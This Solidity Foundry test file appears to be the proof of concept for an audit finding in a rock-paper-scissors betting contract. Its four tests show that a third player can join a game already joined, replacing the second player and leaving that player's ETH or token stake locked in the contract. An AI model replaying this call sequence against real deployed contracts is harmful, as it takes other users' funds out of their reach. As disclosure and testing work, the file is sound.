pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../src/RockPaperScissors.sol";
import "../src/WinningToken.sol";
contract RockPaperScissorsVulnTest is Test {
RockPaperScissors public game;
WinningToken public token;
address public admin;
address public playerA;
address public playerB;
address public playerC;
uint256 constant BET_AMOUNT = 0.1 ether;
uint256 constant TIMEOUT = 10 minutes;
uint256 constant TOTAL_TURNS = 1;
function setUp() public {
admin = address(this);
playerA = makeAddr("playerA");
playerB = makeAddr("playerB");
playerC = makeAddr("playerC");
vm.deal(playerA, 10 ether);
vm.deal(playerB, 10 ether);
vm.deal(playerC, 10 ether);
game = new RockPaperScissors();
token = WinningToken(game.winningToken());
vm.prank(address(game));
token.mint(playerA, 10);
vm.prank(address(game));
token.mint(playerB, 10);
vm.prank(address(game));
token.mint(playerC, 10);
}
function testPlayerBFundsLockedPlayerCWins() public {
vm.txGasPrice(0);
uint256 playerAInitialBalance = playerA.balance;
uint256 playerBInitialBalance = playerB.balance;
uint256 playerCInitialBalance = playerC.balance;
vm.prank(playerA);
uint256 gameId = game.createGameWithEth{value: BET_AMOUNT}(TOTAL_TURNS, TIMEOUT);
uint256 initialContractBalance = address(game).balance;
vm.prank(playerB);
game.joinGameWithEth{value: BET_AMOUNT}(gameId);
assertEq(address(game).balance, initialContractBalance + BET_AMOUNT);
assertEq(playerB.balance, playerBInitialBalance - BET_AMOUNT);
vm.prank(playerC);
game.joinGameWithEth{value: BET_AMOUNT}(gameId);
(, address storedPlayerB,,,,,,,,,,,,,,) = game.games(gameId);
assertEq(storedPlayerB, playerC);
assertEq(address(game).balance, initialContractBalance + BET_AMOUNT + BET_AMOUNT);
assertEq(playerC.balance, playerCInitialBalance - BET_AMOUNT);
bytes32 saltA = keccak256(abi.encodePacked("saltA"));
bytes32 commitA = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Rock), saltA));
vm.prank(playerA);
game.commitMove(gameId, commitA);
bytes32 saltC = keccak256(abi.encodePacked("saltC"));
bytes32 commitC = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Paper), saltC));
vm.prank(playerC);
game.commitMove(gameId, commitC);
vm.prank(playerA);
game.revealMove(gameId, uint8(RockPaperScissors.Move.Rock), saltA);
vm.prank(playerC);
game.revealMove(gameId, uint8(RockPaperScissors.Move.Paper), saltC);
(,,,,,,,,,,,,,, uint8 scoreB, RockPaperScissors.GameState state) = game.games(gameId);
assertEq(uint256(state), uint256(RockPaperScissors.GameState.Finished));
assertEq(scoreB, 1);
uint256 totalPot = BET_AMOUNT * 2;
uint256 fee = (totalPot * 10) / 100;
uint256 expectedPrize = totalPot - fee;
assertEq(playerC.balance, playerCInitialBalance - BET_AMOUNT + expectedPrize);
assertEq(playerA.balance, playerAInitialBalance - BET_AMOUNT);
assertEq(playerB.balance, playerBInitialBalance - BET_AMOUNT);
uint256 expectedContractBalance = BET_AMOUNT + fee;
assertEq(address(game).balance, expectedContractBalance);
}
function testTieGamePlayerBFundsStillLocked() public {
uint256 playerAInitialBalance = playerA.balance;
uint256 playerBInitialBalance = playerB.balance;
uint256 playerCInitialBalance = playerC.balance;
vm.prank(playerA);
uint256 gameId = game.createGameWithEth{value: BET_AMOUNT}(TOTAL_TURNS, TIMEOUT);
vm.prank(playerB);
game.joinGameWithEth{value: BET_AMOUNT}(gameId);
vm.prank(playerC);
game.joinGameWithEth{value: BET_AMOUNT}(gameId);
bytes32 saltA = keccak256(abi.encodePacked("saltA"));
bytes32 commitA = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Rock), saltA));
vm.prank(playerA);
game.commitMove(gameId, commitA);
bytes32 saltC = keccak256(abi.encodePacked("saltC"));
bytes32 commitC = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Rock), saltC));
vm.prank(playerC);
game.commitMove(gameId, commitC);
vm.prank(playerA);
game.revealMove(gameId, uint8(RockPaperScissors.Move.Rock), saltA);
vm.prank(playerC);
game.revealMove(gameId, uint8(RockPaperScissors.Move.Rock), saltC);
(,,,,,,,,,,,,,, uint8 scoreB, RockPaperScissors.GameState state) = game.games(gameId);
assertEq(uint256(state), uint256(RockPaperScissors.GameState.Finished));
assertEq(scoreB, 0);
uint256 totalPot = BET_AMOUNT * 2;
uint256 fee = (totalPot * 10) / 100;
uint256 refundPerPlayer = (totalPot - fee) / 2;
assertEq(playerA.balance, playerAInitialBalance - BET_AMOUNT + refundPerPlayer);
assertEq(playerC.balance, playerCInitialBalance - BET_AMOUNT + refundPerPlayer);
assertEq(playerB.balance, playerBInitialBalance - BET_AMOUNT);
uint256 expectedContractBalance = BET_AMOUNT + fee;
assertEq(address(game).balance, expectedContractBalance);
}
function testTokenPlayerBFundsLockedPlayerCWins() public {
uint256 playerAInitialTokens = token.balanceOf(playerA);
uint256 playerBInitialTokens = token.balanceOf(playerB);
uint256 playerCInitialTokens = token.balanceOf(playerC);
vm.startPrank(playerA);
token.approve(address(game), 1);
uint256 gameId = game.createGameWithToken(TOTAL_TURNS, TIMEOUT);
vm.stopPrank();
uint256 initialContractTokens = token.balanceOf(address(game));
vm.startPrank(playerB);
token.approve(address(game), 1);
game.joinGameWithToken(gameId);
vm.stopPrank();
assertEq(token.balanceOf(address(game)), initialContractTokens + 1);
assertEq(token.balanceOf(playerB), playerBInitialTokens - 1);
vm.startPrank(playerC);
token.approve(address(game), 1);
game.joinGameWithToken(gameId);
vm.stopPrank();
(, address storedPlayerB,,,,,,,,,,,,,,) = game.games(gameId);
assertEq(storedPlayerB, playerC);
assertEq(token.balanceOf(address(game)), initialContractTokens + 2);
assertEq(token.balanceOf(playerC), playerCInitialTokens - 1);
bytes32 saltA = keccak256(abi.encodePacked("saltA"));
bytes32 commitA = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Rock), saltA));
vm.prank(playerA);
game.commitMove(gameId, commitA);
bytes32 saltC = keccak256(abi.encodePacked("saltC"));
bytes32 commitC = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Paper), saltC));
vm.prank(playerC);
game.commitMove(gameId, commitC);
vm.prank(playerA);
game.revealMove(gameId, uint8(RockPaperScissors.Move.Rock), saltA);
vm.prank(playerC);
game.revealMove(gameId, uint8(RockPaperScissors.Move.Paper), saltC);
(,,,,,,,,,,,,,, uint8 scoreB, RockPaperScissors.GameState state) = game.games(gameId);
assertEq(uint256(state), uint256(RockPaperScissors.GameState.Finished));
assertEq(scoreB, 1);
assertEq(token.balanceOf(playerC), playerCInitialTokens - 1 + 2);
assertEq(token.balanceOf(playerA), playerAInitialTokens - 1);
assertEq(token.balanceOf(playerB), playerBInitialTokens - 1);
assertEq(token.balanceOf(address(game)), 3);
}
function testTokenTieGamePlayerBFundsStillLocked() public {
uint256 playerAInitialTokens = token.balanceOf(playerA);
uint256 playerBInitialTokens = token.balanceOf(playerB);
uint256 playerCInitialTokens = token.balanceOf(playerC);
vm.startPrank(playerA);
token.approve(address(game), 1);
uint256 gameId = game.createGameWithToken(TOTAL_TURNS, TIMEOUT);
vm.stopPrank();
vm.startPrank(playerB);
token.approve(address(game), 1);
game.joinGameWithToken(gameId);
vm.stopPrank();
vm.startPrank(playerC);
token.approve(address(game), 1);
game.joinGameWithToken(gameId);
vm.stopPrank();
bytes32 saltA = keccak256(abi.encodePacked("saltA"));
bytes32 commitA = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Rock), saltA));
vm.prank(playerA);
game.commitMove(gameId, commitA);
bytes32 saltC = keccak256(abi.encodePacked("saltC"));
bytes32 commitC = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Rock), saltC));
vm.prank(playerC);
game.commitMove(gameId, commitC);
vm.prank(playerA);
game.revealMove(gameId, uint8(RockPaperScissors.Move.Rock), saltA);
vm.prank(playerC);
game.revealMove(gameId, uint8(RockPaperScissors.Move.Rock), saltC);
(,,,,,,,,,,,,,, uint8 scoreB, RockPaperScissors.GameState state) = game.games(gameId);
assertEq(uint256(state), uint256(RockPaperScissors.GameState.Finished));
assertEq(scoreB, 0);
assertEq(token.balanceOf(playerA), playerAInitialTokens);
assertEq(token.balanceOf(playerC), playerCInitialTokens);
assertEq(token.balanceOf(playerB), playerBInitialTokens - 1);
assertEq(token.balanceOf(address(game)), 3);
}
}
Manual code review and custom unit tests.